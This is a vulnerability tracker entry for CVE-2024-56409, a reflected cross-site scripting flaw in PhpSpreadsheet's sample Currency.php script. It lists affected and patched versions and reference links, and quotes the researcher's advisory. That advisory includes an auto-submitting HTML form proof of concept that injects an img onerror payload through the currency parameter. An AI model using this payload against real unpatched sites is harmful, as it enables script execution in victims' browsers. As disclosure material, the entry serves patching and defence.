CVE-2024-56409
mediumpriority · track · 22EPSS 0.003 · 27 %ileEURUUSEPSS · scored 2026-10-27
PhpSpreadsheet is a PHP library for reading and writing spreadsheet files. Versions prior to 3.7.0, 2.3.5, 2.1.6, and 1.29.7 are vulnerable to unauthorized reflected cross-site scripting in the `Currency.php` file. Using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform a cross-site scripting attack. Versions 3.7.0, 2.3.5, 2.1.6, and 1.29.7 contain a patch for the issue.
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affected products (17)
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advisories (1)
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- GHSA-j2xg-cjcx-4677PhpSpreadsheet allows unauthorized Reflected XSS in Currency.php file2025-01-03ghsa · osvUS
# Unauthorized Reflected XSS in `Currency.php` file **Product**: Phpspreadsheet **Version**: version 3.6.0 **CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') **CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N) **CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L) **Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` script, an attacker can perform XSS-type attack **Impact**: executing arbitrary JavaScript code in the browser **Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file **Exploitation conditions**: an unauthorized user **Mitigation**: sanitization of the `currency` variable **Researcher**: Aleksey Solovev (Positive Technologies) # Research The researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Currency.php` file) in Phpspreadsheet. There is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php` file, which leads to the possibility of a XSS attack. Strings are formed using the `currency` parameter without sanitization, controlled by an attacker.  *Figure 9. A fragment of the query in which a string and a parameter are formed without sanitization* An attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario. *Listing 5. HTML form that demonstrates the exploitation of the XSS vulnerability* ``` <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Currency.php" method="POST"> <input type="hidden" name="number" value="1234.5678" /> <input type="hidden" name="currency" value="$'"<img src=1 onerror=alert()>" /> <input type="hidden" name="decimals" value="2" /> <input type="hidden" name="position" value="1" /> <input type="hidden" name="spacing" value="0" /> <input type="hidden" name="submit" value="Display Mask" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` After sending the script provided in Listing 5, the XSS vulnerability is exploited. Figure 10 shows the execution of arbitrary JavaScript code during the submission of a POST form. <img width="428" alt="fig10" src="https://github.com/user-attachments/assets/2be8c94b-03ac-40d9-aa7a-9d326eb79335" /> *Figure 10. Executing arbitrary JavaScript code* # Credit This vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**
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references (6)
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- https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4cnnvd
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677cnnvd
- https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4enisa_euvd
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677enisa_euvd
- https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4Patchnvd
- https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-j2xg-cjcx-4677ExploitVendor Advisorynvd
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